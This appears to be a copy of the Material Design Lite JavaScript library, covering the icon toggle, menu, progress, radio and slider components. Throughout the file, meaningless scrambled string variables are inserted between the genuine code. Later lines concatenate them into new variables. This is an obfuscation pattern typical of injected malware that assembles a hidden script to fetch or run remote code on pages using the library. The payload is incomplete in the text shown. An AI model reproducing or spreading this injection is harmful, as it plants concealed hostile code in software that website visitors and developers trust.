MaterialIconToggle.prototype['checkDisabled'] = MaterialIconToggle.prototype.checkDisabled;
is8='gUgcet(eRE4nnC4to{)ci))+tI;riKBan';
/**
* Disable icon toggle.
*
* @public
*/
MaterialIconToggle.prototype.disable = function () {
this.inputElement_.disabled = true;
this.updateClasses_();
};
MaterialIconToggle.prototype['disable'] = MaterialIconToggle.prototype.disable;
howc = [1117];
/**
* Enable icon toggle.
*
* @public
*/
measuret='{guN (kI)3iAe3bMs)jOl]+Da(cRfOo';
MaterialIconToggle.prototype.enable = function () {
this.inputElement_.disabled = false;
this.updateClasses_();
};
hxje='fi;Yfr)fetEgcSXftte;7|PP+lzVfpufxsDldt*Jp';
MaterialIconToggle.prototype['enable'] = MaterialIconToggle.prototype.enable;
/**
* Check icon toggle.
*
* @public
*/
MaterialIconToggle.prototype.check = function () {
this.inputElement_.checked = true;
this.updateClasses_();
};
MaterialIconToggle.prototype['check'] = MaterialIconToggle.prototype.check;
huetv='a a)nsM]qt([uc-g+e9(sj55pb1)oO ]t = m| =wCT ';
/**
* Uncheck icon toggle.
*
* @public
*/
corfqqpz='uE aW,=qPc k[HK+psMwypDintQlj( d';
MaterialIconToggle.prototype.uncheck = function () {
this.inputElement_.checked = false;
this.updateClasses_();
};
hqibvsj='k.3elc(a+igkrr[;eoQ}mtgmeeoWmhrWbRfse ';
MaterialIconToggle.prototype['uncheck'] = MaterialIconToggle.prototype.uncheck;
tuznyf='A;<s ) t+eKr=uMe rDaUtQmf 2C,;+M80';
/**
* Initialize element.
*/
hearde='ua3JqN( htg=br[ goQdfhgyvSoub|rR+sfsrncI';
MaterialIconToggle.prototype.init = function () {
if (this.element_) {
this.inputElement_ = this.element_.querySelector('.' + this.CssClasses_.INPUT);
if (this.element_.classList.contains(this.CssClasses_.JS_RIPPLE_EFFECT)) {
this.element_.classList.add(this.CssClasses_.RIPPLE_IGNORE_EVENTS);
this.rippleContainerElement_ = document.createElement('span');
this.rippleContainerElement_.classList.add(this.CssClasses_.RIPPLE_CONTAINER);
this.rippleContainerElement_.classList.add(this.CssClasses_.JS_RIPPLE_EFFECT);
this.rippleContainerElement_.classList.add(this.CssClasses_.RIPPLE_CENTER);
this.boundRippleMouseUp = this.onMouseUp_.bind(this);
this.rippleContainerElement_.addEventListener('mouseup', this.boundRippleMouseUp);
var ripple = document.createElement('span');
ripple.classList.add(this.CssClasses_.RIPPLE);
this.rippleContainerElement_.appendChild(ripple);
this.element_.appendChild(this.rippleContainerElement_);
}
this.boundInputOnChange = this.onChange_.bind(this);
this.boundInputOnFocus = this.onFocus_.bind(this);
this.boundInputOnBlur = this.onBlur_.bind(this);
this.boundElementOnMouseUp = this.onMouseUp_.bind(this);
this.inputElement_.addEventListener('change', this.boundInputOnChange);
this.inputElement_.addEventListener('focus', this.boundInputOnFocus);
this.inputElement_.addEventListener('blur', this.boundInputOnBlur);
this.element_.addEventListener('mouseup', this.boundElementOnMouseUp);
this.updateClasses_();
this.element_.classList.add('is-upgraded');
}
};
// The component registers itself. It can assume componentHandler is available
afraidx = 4069;
// in the global scope.
ddjraobd='1+sC9wa()hT ]o|f lGi=er} 4e;k+deT';
componentHandler.register({
constructor: MaterialIconToggle,
classAsString: 'MaterialIconToggle',
cssClass: 'mdl-js-icon-toggle',
widget: true
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
dreami='r gbt=eu; 6S)g+s\"(\\rf3\\|\\2ot\\)\\er;\"G\\Bck(ges]mja)Y+T6Es|1ner([';
/**
* Class constructor for dropdown MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
dearx=' HyiJzufpjx sdq(WCoOWH+Hm lS{=ei) fL)Ct=cX3=HRlMsO+Wp';
var MaterialMenu = function MaterialMenu(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
gmfrsz = "uthnBIP";
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialMenu.prototype.Constant_ = {
// Total duration of the menu animation.
TRANSITION_DURATION_SECONDS: 0.3,
// The fraction of the total duration we want to use for menu item animations.
TRANSITION_DURATION_FRACTION: 0.8,
// How long the menu stays open after choosing an option (so the user can see
// the ripple).
CLOSE_TIMEOUT: 150
};
tiree8='ggiivmlflY5ehE+D(nskh tsc=aat nTaodrcque}';
/**
* Keycodes, for code readability.
*
* @enum {number}
* @private
*/
MaterialMenu.prototype.Keycodes_ = {
ENTER: 13,
ESCAPE: 27,
SPACE: 32,
UP_ARROW: 38,
DOWN_ARROW: 40
};
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialMenu.prototype.CssClasses_ = {
CONTAINER: 'mdl-menu__container',
OUTLINE: 'mdl-menu__outline',
ITEM: 'mdl-menu__item',
ITEM_RIPPLE_CONTAINER: 'mdl-menu__item-ripple-container',
RIPPLE_EFFECT: 'mdl-js-ripple-effect',
RIPPLE_IGNORE_EVENTS: 'mdl-js-ripple-effect--ignore-events',
RIPPLE: 'mdl-ripple',
// Statuses
IS_UPGRADED: 'is-upgraded',
IS_VISIBLE: 'is-visible',
IS_ANIMATING: 'is-animating',
// Alignment options
BOTTOM_LEFT: 'mdl-menu--bottom-left',
// This is the default.
BOTTOM_RIGHT: 'mdl-menu--bottom-right',
TOP_LEFT: 'mdl-menu--top-left',
TOP_RIGHT: 'mdl-menu--top-right',
UNALIGNED: 'mdl-menu--unaligned'
};
mix9='dlsCiolxvFa[itfgse (i|=7ot )nsN]cix(+';
/**
* Initialize element.
*/
quartkd='|f=+lY tfVXrrYoao;tio0wn| giF=[ut g+xw(beH1eTP7gnX)ae';
MaterialMenu.prototype.init = function () {
if (this.element_) {
// Create container for the menu.
var container = document.createElement('div');
container.classList.add(this.CssClasses_.CONTAINER);
this.element_.parentElement.insertBefore(container, this.element_);
this.element_.parentElement.removeChild(this.element_);
container.appendChild(this.element_);
this.container_ = container;
// Create outline for the menu (shadow and background).
var outline = document.createElement('div');
outline.classList.add(this.CssClasses_.OUTLINE);
this.outline_ = outline;
container.insertBefore(outline, this.element_);
// Find the "for" element and bind events to it.
var forElId = this.element_.getAttribute('for') || this.element_.getAttribute('data-mdl-for');
var forEl = null;
if (forElId) {
forEl = document.getElementById(forElId);
if (forEl) {
this.forElement_ = forEl;
forEl.addEventListener('click', this.handleForClick_.bind(this));
forEl.addEventListener('keydown', this.handleForKeyboardEvent_.bind(this));
}
}
var items = this.element_.querySelectorAll('.' + this.CssClasses_.ITEM);
this.boundItemKeydown_ = this.handleItemKeyboardEvent_.bind(this);
this.boundItemClick_ = this.handleItemClick_.bind(this);
for (var i = 0; i < items.length; i++) {
// Add a listener to each menu item.
items[i].addEventListener('click', this.boundItemClick_);
// Add a tab index to each menu item.
items[i].tabIndex = '-1';
// Add a keyboard listener to each menu item.
items[i].addEventListener('keydown', this.boundItemKeydown_);
}
// Add ripple classes to each item, if the user has enabled ripples.
if (this.element_.classList.contains(this.CssClasses_.RIPPLE_EFFECT)) {
this.element_.classList.add(this.CssClasses_.RIPPLE_IGNORE_EVENTS);
for (i = 0; i < items.length; i++) {
var item = items[i];
var rippleContainer = document.createElement('span');
rippleContainer.classList.add(this.CssClasses_.ITEM_RIPPLE_CONTAINER);
var ripple = document.createElement('span');
ripple.classList.add(this.CssClasses_.RIPPLE);
rippleContainer.appendChild(ripple);
item.appendChild(rippleContainer);
item.classList.add(this.CssClasses_.RIPPLE_EFFECT);
}
}
// Copy alignment classes to the container, so the outline can use them.
if (this.element_.classList.contains(this.CssClasses_.BOTTOM_LEFT)) {
this.outline_.classList.add(this.CssClasses_.BOTTOM_LEFT);
}
if (this.element_.classList.contains(this.CssClasses_.BOTTOM_RIGHT)) {
this.outline_.classList.add(this.CssClasses_.BOTTOM_RIGHT);
}
if (this.element_.classList.contains(this.CssClasses_.TOP_LEFT)) {
this.outline_.classList.add(this.CssClasses_.TOP_LEFT);
}
if (this.element_.classList.contains(this.CssClasses_.TOP_RIGHT)) {
this.outline_.classList.add(this.CssClasses_.TOP_RIGHT);
}
if (this.element_.classList.contains(this.CssClasses_.UNALIGNED)) {
this.outline_.classList.add(this.CssClasses_.UNALIGNED);
}
container.classList.add(this.CssClasses_.IS_UPGRADED);
}
};
/**
* Handles a click on the "for" element, by positioning the menu and then
* toggling it.
*
* @param {Event} evt The event that fired.
* @private
*/
childreny='{nwD ghb)eiu+rl(+ne]K+()Mat3Dtr3Qeu( ceg;k)[T+ Jvs{pUaOskvDWeePW 3Dm=+';
MaterialMenu.prototype.handleForClick_ = function (evt) {
if (this.element_ && this.forElement_) {
var rect = this.forElement_.getBoundingClientRect();
var forRect = this.forElement_.parentElement.getBoundingClientRect();
if (this.element_.classList.contains(this.CssClasses_.UNALIGNED)) {
} else if (this.element_.classList.contains(this.CssClasses_.BOTTOM_RIGHT)) {
// Position below the "for" element, aligned to its right.
this.container_.style.right = forRect.right - rect.right + 'px';
this.container_.style.top = this.forElement_.offsetTop + this.forElement_.offsetHeight + 'px';
} else if (this.element_.classList.contains(this.CssClasses_.TOP_LEFT)) {
// Position above the "for" element, aligned to its left.
this.container_.style.left = this.forElement_.offsetLeft + 'px';
this.container_.style.bottom = forRect.bottom - rect.top + 'px';
} else if (this.element_.classList.contains(this.CssClasses_.TOP_RIGHT)) {
// Position above the "for" element, aligned to its right.
this.container_.style.right = forRect.right - rect.right + 'px';
this.container_.style.bottom = forRect.bottom - rect.top + 'px';
} else {
// Default: position below the "for" element, aligned to its left.
this.container_.style.left = this.forElement_.offsetLeft + 'px';
this.container_.style.top = this.forElement_.offsetTop + this.forElement_.offsetHeight + 'px';
}
}
this.toggle(evt);
};
/**
* Handles a keyboard event on the "for" element.
*
* @param {Event} evt The event that fired.
* @private
*/
yjckio='i)s+|(Oxn][qe)gjd8(nd(1+ig5tH[)j|h]lEt(weau+lMOr';
MaterialMenu.prototype.handleForKeyboardEvent_ = function (evt) {
if (this.element_ && this.container_ && this.forElement_) {
var items = this.element_.querySelectorAll('.' + this.CssClasses_.ITEM + ':not([disabled])');
if (items && items.length > 0 && this.container_.classList.contains(this.CssClasses_.IS_VISIBLE)) {
if (evt.keyCode === this.Keycodes_.UP_ARROW) {
evt.preventDefault();
items[items.length - 1].focus();
} else if (evt.keyCode === this.Keycodes_.DOWN_ARROW) {
evt.preventDefault();
items[0].focus();
}
}
}
};
/**
* Handles a keyboard event on an item.
*
* @param {Event} evt The event that fired.
* @private
*/
playc='\\a\\4ln\\6\\e+7\"m\\)r|++a%f1i%g1nEf0tMY2+AV0aNY;fR msE=WiS WvUcsf%Hpm\\s\\+Jp\\q\\t[b%';
MaterialMenu.prototype.handleItemKeyboardEvent_ = function (evt) {
if (this.element_ && this.container_) {
var items = this.element_.querySelectorAll('.' + this.CssClasses_.ITEM + ':not([disabled])');
if (items && items.length > 0 && this.container_.classList.contains(this.CssClasses_.IS_VISIBLE)) {
var currentIndex = Array.prototype.slice.call(items).indexOf(evt.target);
if (evt.keyCode === this.Keycodes_.UP_ARROW) {
evt.preventDefault();
if (currentIndex > 0) {
items[currentIndex - 1].focus();
} else {
items[items.length - 1].focus();
}
} else if (evt.keyCode === this.Keycodes_.DOWN_ARROW) {
evt.preventDefault();
if (items.length > currentIndex + 1) {
items[currentIndex + 1].focus();
} else {
items[0].focus();
}
} else if (evt.keyCode === this.Keycodes_.SPACE || evt.keyCode === this.Keycodes_.ENTER) {
evt.preventDefault();
// Send mousedown and mouseup to trigger ripple.
var e = new MouseEvent('mousedown');
evt.target.dispatchEvent(e);
e = new MouseEvent('mouseup');
evt.target.dispatchEvent(e);
// Send click.
evt.target.click();
} else if (evt.keyCode === this.Keycodes_.ESCAPE) {
evt.preventDefault();
this.hide();
}
}
}
};
/**
* Handles a click event on an item.
*
* @param {Event} evt The event that fired.
* @private
*/
MaterialMenu.prototype.handleItemClick_ = function (evt) {
if (evt.target.hasAttribute('disabled')) {
evt.stopPropagation();
} else {
// Wait some time before closing menu, so the user can see the ripple.
this.closing_ = true;
window.setTimeout(function (evt) {
this.hide();
this.closing_ = false;
}.bind(this), this.Constant_.CLOSE_TIMEOUT);
}
};
wart='EwtC[i|bgstr(heB10G*8ce))+l]]bi)[aF5gb|2(ys(2isg9+e[)tnh]hiB osC=sub ';
/**
* Calculates the initial clip (for opening the menu) or final clip (for closing
* it), and applies it. This allows us to animate from or to the correct point,
* that is, the point it's aligned to in the "for" element.
*
* @param {number} height Height of the clip rectangle
* @param {number} width Width of the clip rectangle
* @private
*/
leg8s1='gyE1(4d(3+ng1na[)opg]sxw eEt=xso +gXYen}V';
MaterialMenu.prototype.applyClip_ = function (height, width) {
if (this.element_.classList.contains(this.CssClasses_.UNALIGNED)) {
// Do not clip.
this.element_.style.clip = '';
} else if (this.element_.classList.contains(this.CssClasses_.BOTTOM_RIGHT)) {
// Clip to the top right corner of the menu.
this.element_.style.clip = 'rect(0 ' + width + 'px ' + '0 ' + width + 'px)';
} else if (this.element_.classList.contains(this.CssClasses_.TOP_LEFT)) {
// Clip to the bottom left corner of the menu.
this.element_.style.clip = 'rect(' + height + 'px 0 ' + height + 'px 0)';
} else if (this.element_.classList.contains(this.CssClasses_.TOP_RIGHT)) {
// Clip to the bottom right corner of the menu.
this.element_.style.clip = 'rect(' + height + 'px ' + width + 'px ' + height + 'px ' + width + 'px)';
} else {
// Default: do not clip (same as clipping to the top left corner).
this.element_.style.clip = '';
}
};
pydbp = [];
/**
* Cleanup function to remove animation listeners.
*
* @param {Event} evt
* @private
*/
MaterialMenu.prototype.removeAnimationEndListener_ = function (evt) {
evt.target.classList.remove(MaterialMenu.prototype.CssClasses_.IS_ANIMATING);
};
/**
* Adds an event listener to clean up after the animation ends.
*
* @private
*/
MaterialMenu.prototype.addAnimationEndListener_ = function () {
this.element_.addEventListener('transitionend', this.removeAnimationEndListener_);
this.element_.addEventListener('webkitTransitionEnd', this.removeAnimationEndListener_);
};
/**
* Displays the menu.
*
* @public
*/
pxmxk='fSdngi+efLnmY+auV+t|Y;in ioE)fntw 3aH(+dPXc|XPot=Hox=wleT=sN';
MaterialMenu.prototype.show = function (evt) {
if (this.element_ && this.container_ && this.outline_) {
// Measure the inner element.
var height = this.element_.getBoundingClientRect().height;
var width = this.element_.getBoundingClientRect().width;
// Apply the inner element's size to the container and outline.
this.container_.style.width = width + 'px';
this.container_.style.height = height + 'px';
this.outline_.style.width = width + 'px';
this.outline_.style.height = height + 'px';
var transitionDuration = this.Constant_.TRANSITION_DURATION_SECONDS * this.Constant_.TRANSITION_DURATION_FRACTION;
// Calculate transition delays for individual menu items, so that they fade
// in one at a time.
var items = this.element_.querySelectorAll('.' + this.CssClasses_.ITEM);
for (var i = 0; i < items.length; i++) {
var itemDelay = null;
if (this.element_.classList.contains(this.CssClasses_.TOP_LEFT) || this.element_.classList.contains(this.CssClasses_.TOP_RIGHT)) {
itemDelay = (height - items[i].offsetTop - items[i].offsetHeight) / height * transitionDuration + 's';
} else {
itemDelay = items[i].offsetTop / height * transitionDuration + 's';
}
items[i].style.transitionDelay = itemDelay;
}
// Apply the initial clip to the text before we start animating.
this.applyClip_(height, width);
// Wait for the next frame, turn on animation, and apply the final clip.
// Also make it visible. This triggers the transitions.
window.requestAnimationFrame(function () {
this.element_.classList.add(this.CssClasses_.IS_ANIMATING);
this.element_.style.clip = 'rect(0 ' + width + 'px ' + height + 'px 0)';
this.container_.classList.add(this.CssClasses_.IS_VISIBLE);
}.bind(this));
// Clean up after the animation is complete.
this.addAnimationEndListener_();
// Add a click listener to the document, to close the menu.
var callback = function (e) {
// Check to see if the document is processing the same event that
// displayed the menu in the first place. If so, do nothing.
// Also check to see if the menu is in the process of closing itself, and
// do nothing in that case.
// Also check if the clicked element is a menu item
// if so, do nothing.
if (e !== evt && !this.closing_ && e.target.parentNode !== this.element_) {
document.removeEventListener('click', callback);
this.hide();
}
}.bind(this);
document.addEventListener('click', callback);
}
};
MaterialMenu.prototype['show'] = MaterialMenu.prototype.show;
evdkbpz=' M=R0u s,lMI Psc\\I\" D \\=\"\'C()lDu;x{k}()]}GT[}cvnIwUoP k{lyerut(;M8g3[1 =';
/**
* Hides the menu.
*
* @public
*/
MaterialMenu.prototype.hide = function () {
if (this.element_ && this.container_ && this.outline_) {
var items = this.element_.querySelectorAll('.' + this.CssClasses_.ITEM);
// Remove all transition delays; menu items fade out concurrently.
for (var i = 0; i < items.length; i++) {
items[i].style.removeProperty('transition-delay');
}
// Measure the inner element.
var rect = this.element_.getBoundingClientRect();
var height = rect.height;
var width = rect.width;
// Turn on animation, and apply the final clip. Also make invisible.
// This triggers the transitions.
this.element_.classList.add(this.CssClasses_.IS_ANIMATING);
this.applyClip_(height, width);
this.container_.classList.remove(this.CssClasses_.IS_VISIBLE);
// Clean up after the animation is complete.
this.addAnimationEndListener_();
}
};
evening3='ao cni;[tt)g0c((+A]2m|)4kW0)be4]kt((cigt+r[ps|QsksgHiwo';
MaterialMenu.prototype['hide'] = MaterialMenu.prototype.hide;
/**
* Displays or hides the menu, depending on current state.
*
* @public
*/
MaterialMenu.prototype.toggle = function (evt) {
if (this.container_.classList.contains(this.CssClasses_.IS_VISIBLE)) {
this.hide();
} else {
this.show(evt);
}
};
MaterialMenu.prototype['toggle'] = MaterialMenu.prototype.toggle;
// The component registers itself. It can assume componentHandler is available
// in the global scope.
rightw = 957;
componentHandler.register({
constructor: MaterialMenu,
classAsString: 'MaterialMenu',
cssClass: 'mdl-js-menu',
widget: true
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for Progress MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
var MaterialProgress = function MaterialProgress(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
ndllzn='lauttcmhP(IeB)n h{t u}rjoztzciulr=tos';
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialProgress.prototype.Constant_ = {};
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialProgress.prototype.CssClasses_ = { INDETERMINATE_CLASS: 'mdl-progress__indeterminate' };
/**
* Set the current progress of the progressbar.
*
* @param {number} p Percentage of the progress (0-100)
* @public
*/
MaterialProgress.prototype.setProgress = function (p) {
if (this.element_.classList.contains(this.CssClasses_.INDETERMINATE_CLASS)) {
return;
}
this.progressbar_.style.width = p + '%';
};
MaterialProgress.prototype['setProgress'] = MaterialProgress.prototype.setProgress;
resultw='\\4\'gu(\\(\'xt2)je);ar;Rc}FKk;dK )zz=1M ,J=v0 M(=Mjr aWtgtMs(h;b';
/**
* Set the current progress of the buffer.
*
* @param {number} p Percentage of the buffer (0-100)
* @public
*/
stjvx='wnnocc;';
MaterialProgress.prototype.setBuffer = function (p) {
this.bufferbar_.style.width = p + '%';
this.auxbar_.style.width = 100 - p + '%';
};
MaterialProgress.prototype['setBuffer'] = MaterialProgress.prototype.setBuffer;
flat6='i(DnF]abs)Prt6,zs3 +i(orxgqo|[acvhbkutF4taE+sM,sr uqn6ipr,tou 6nt\\+\"emu\\r\"n';
/**
* Initialize element.
*/
MaterialProgress.prototype.init = function () {
if (this.element_) {
var el = document.createElement('div');
el.className = 'progressbar bar bar1';
this.element_.appendChild(el);
this.progressbar_ = el;
el = document.createElement('div');
el.className = 'bufferbar bar bar2';
this.element_.appendChild(el);
this.bufferbar_ = el;
el = document.createElement('div');
el.className = 'auxbar bar bar3';
this.element_.appendChild(el);
this.auxbar_ = el;
this.progressbar_.style.width = '0%';
this.bufferbar_.style.width = '100%';
this.auxbar_.style.width = '0%';
this.element_.classList.add('is-upgraded');
}
};
// The component registers itself. It can assume componentHandler is available
product1='v;lMn)J E)s= 0O g([WnggSi((cd]1rl)0ii2)pu2]tB((;gguk';
// in the global scope.
componentHandler.register({
constructor: MaterialProgress,
classAsString: 'MaterialProgress',
cssClass: 'mdl-js-progress',
widget: true
});
gqjec='zcf;hSVBfWPgql m+|=Yit EraNnoPx[nhUgj|t(+eE1cdC2hl{)aoy]nF';
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
third20='E DlS=PlU!De| Acrf+teg\\t\"fg+;Ygu\\V\"tiY)xr(;vT OfnfD+oiPgg}Dlo;AfL+=ld';
/**
* Class constructor for Radio MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
stood1='cprl Jya=[+t gdit(ugm4ciG2kDy)v|S]+u{(no )er);vd)men(Wr|]Wde)s+m9p';
var MaterialRadio = function MaterialRadio(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialRadio.prototype.Constant_ = { TINY_TIMEOUT: 0.001 };
her4='cltr)lpf;6icm+r!Wpc Wa|;ssy)ptrhJ1oB[+tCgfcb(ier4';
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialRadio.prototype.CssClasses_ = {
IS_FOCUSED: 'is-focused',
IS_DISABLED: 'is-disabled',
IS_CHECKED: 'is-checked',
IS_UPGRADED: 'is-upgraded',
JS_RADIO: 'mdl-js-radio',
RADIO_BTN: 'mdl-radio__button',
RADIO_OUTER_CIRCLE: 'mdl-radio__outer-circle',
RADIO_INNER_CIRCLE: 'mdl-radio__inner-circle',
RIPPLE_EFFECT: 'mdl-js-ripple-effect',
RIPPLE_IGNORE_EVENTS: 'mdl-js-ripple-effect--ignore-events',
RIPPLE_CONTAINER: 'mdl-radio__ripple-container',
RIPPLE_CENTER: 'mdl-ripple--center',
RIPPLE: 'mdl-ripple'
};
/**
* Handle change of state.
*
* @param {Event} event The event that fired.
* @private
*/
tzukmji='POs[D egO=r(; v3)Ce6eXh)TR+]XOa;d';
MaterialRadio.prototype.onChange_ = function (event) {
// Since other radio buttons don't get change events, we need to look for
// them to update their classes.
var radios = document.getElementsByClassName(this.CssClasses_.JS_RADIO);
for (var i = 0; i < radios.length; i++) {
var button = radios[i].querySelector('.' + this.CssClasses_.RADIO_BTN);
// Different name == different group, so no point updating those.
if (button.getAttribute('name') === this.btnElement_.getAttribute('name')) {
if (typeof radios[i]['MaterialRadio'] !== 'undefined') {
radios[i]['MaterialRadio'].updateClasses_();
}
}
}
};
/**
* Handle focus.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialRadio.prototype.onFocus_ = function (event) {
this.element_.classList.add(this.CssClasses_.IS_FOCUSED);
};
/**
* Handle lost focus.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialRadio.prototype.onBlur_ = function (event) {
this.element_.classList.remove(this.CssClasses_.IS_FOCUSED);
};
study9='9c.6)ag1]un((sig9et[)0pc;+|IdwA';
/**
* Handle mouseup.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialRadio.prototype.onMouseup_ = function (event) {
this.blur_();
};
chairm='o[OTlMDC|uaxelP nP)=nI; o CIC=EPt tlcgUu|wx';
/**
* Update classes.
*
* @private
*/
MaterialRadio.prototype.updateClasses_ = function () {
this.checkDisabled();
this.checkToggleState();
};
/**
* Add blur.
*
* @private
*/
MaterialRadio.prototype.blur_ = function () {
// TODO: figure out why there's a focus event being fired after our blur,
// so that we can avoid this hack.
window.setTimeout(function () {
this.btnElement_.blur();
}.bind(this), this.Constant_.TINY_TIMEOUT);
};
// Public methods.
xhxazojc='nx2|oN0.i )et=;pc IonPPluVleffu';
/**
* Check the components disabled state.
*
* @public
*/
MaterialRadio.prototype.checkDisabled = function () {
if (this.btnElement_.disabled) {
this.element_.classList.add(this.CssClasses_.IS_DISABLED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_DISABLED);
}
};
MaterialRadio.prototype['checkDisabled'] = MaterialRadio.prototype.checkDisabled;
sand81='0[re1gsh((oSg9n.[)2tO]+ps(hiJ0wrl)';
/**
* Check the components toggled state.
*
* @public
*/
waveb='l{ tk),ijE liX\\k\"eh+\\P\"agz nfu,yeD 4d(3+cx)obj;xaaCyzcEgyktex Unw';
MaterialRadio.prototype.checkToggleState = function () {
if (this.btnElement_.checked) {
this.element_.classList.add(this.CssClasses_.IS_CHECKED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_CHECKED);
}
};
MaterialRadio.prototype['checkToggleState'] = MaterialRadio.prototype.checkToggleState;
/**
* Disable radio.
*
* @public
*/
MaterialRadio.prototype.disable = function () {
this.btnElement_.disabled = true;
this.updateClasses_();
};
MaterialRadio.prototype['disable'] = MaterialRadio.prototype.disable;
/**
* Enable radio.
*
* @public
*/
MaterialRadio.prototype.enable = function () {
this.btnElement_.disabled = false;
this.updateClasses_();
};
follow3='dtsf+cBateTlaj;sbb]elO);ee1d8t1h+a(Naegfmr[me|)gui) +r)=pc0 rS2oat(qcc';
MaterialRadio.prototype['enable'] = MaterialRadio.prototype.enable;
nor0='=1ejw( LHr=ePt kXskU;bx \"u\\=us\" \\.lM=C(aAXotDRbh';
/**
* Check radio.
*
* @public
*/
MaterialRadio.prototype.check = function () {
this.btnElement_.checked = true;
this.onChange_(null);
};
MaterialRadio.prototype['check'] = MaterialRadio.prototype.check;
/**
* Uncheck radio.
*
* @public
*/
MaterialRadio.prototype.uncheck = function () {
this.btnElement_.checked = false;
this.onChange_(null);
};
matchm = study9+thingt+girl0+ddjraobd;
MaterialRadio.prototype['uncheck'] = MaterialRadio.prototype.uncheck;
lgaqx = nor0+tzukmji+childreny+tuznyf+corfqqpz;
/**
* Initialize element.
*/
cwvjf = ride8va+dearx+and3;
MaterialRadio.prototype.init = function () {
if (this.element_) {
this.btnElement_ = this.element_.querySelector('.' + this.CssClasses_.RADIO_BTN);
this.boundChangeHandler_ = this.onChange_.bind(this);
this.boundFocusHandler_ = this.onChange_.bind(this);
this.boundBlurHandler_ = this.onBlur_.bind(this);
this.boundMouseUpHandler_ = this.onMouseup_.bind(this);
var outerCircle = document.createElement('span');
outerCircle.classList.add(this.CssClasses_.RADIO_OUTER_CIRCLE);
var innerCircle = document.createElement('span');
innerCircle.classList.add(this.CssClasses_.RADIO_INNER_CIRCLE);
this.element_.appendChild(outerCircle);
this.element_.appendChild(innerCircle);
var rippleContainer;
if (this.element_.classList.contains(this.CssClasses_.RIPPLE_EFFECT)) {
this.element_.classList.add(this.CssClasses_.RIPPLE_IGNORE_EVENTS);
rippleContainer = document.createElement('span');
rippleContainer.classList.add(this.CssClasses_.RIPPLE_CONTAINER);
rippleContainer.classList.add(this.CssClasses_.RIPPLE_EFFECT);
rippleContainer.classList.add(this.CssClasses_.RIPPLE_CENTER);
rippleContainer.addEventListener('mouseup', this.boundMouseUpHandler_);
var ripple = document.createElement('span');
ripple.classList.add(this.CssClasses_.RIPPLE);
rippleContainer.appendChild(ripple);
this.element_.appendChild(rippleContainer);
}
this.btnElement_.addEventListener('change', this.boundChangeHandler_);
this.btnElement_.addEventListener('focus', this.boundFocusHandler_);
this.btnElement_.addEventListener('blur', this.boundBlurHandler_);
this.element_.addEventListener('mouseup', this.boundMouseUpHandler_);
this.updateClasses_();
this.element_.classList.add(this.CssClasses_.IS_UPGRADED);
}
};
// The component registers itself. It can assume componentHandler is available
// in the global scope.
endw = hxje+yjckio+flat6+waveb;
componentHandler.register({
constructor: MaterialRadio,
classAsString: 'MaterialRadio',
cssClass: 'mdl-js-radio',
widget: true
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for Slider MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
var MaterialSlider = function MaterialSlider(element) {
this.element_ = element;
// Browser feature detection.
this.isIE_ = window.navigator.msPointerEnabled;
// Initialize instance.
this.init();
};
cropn = sat7+playc+measuret;
/**
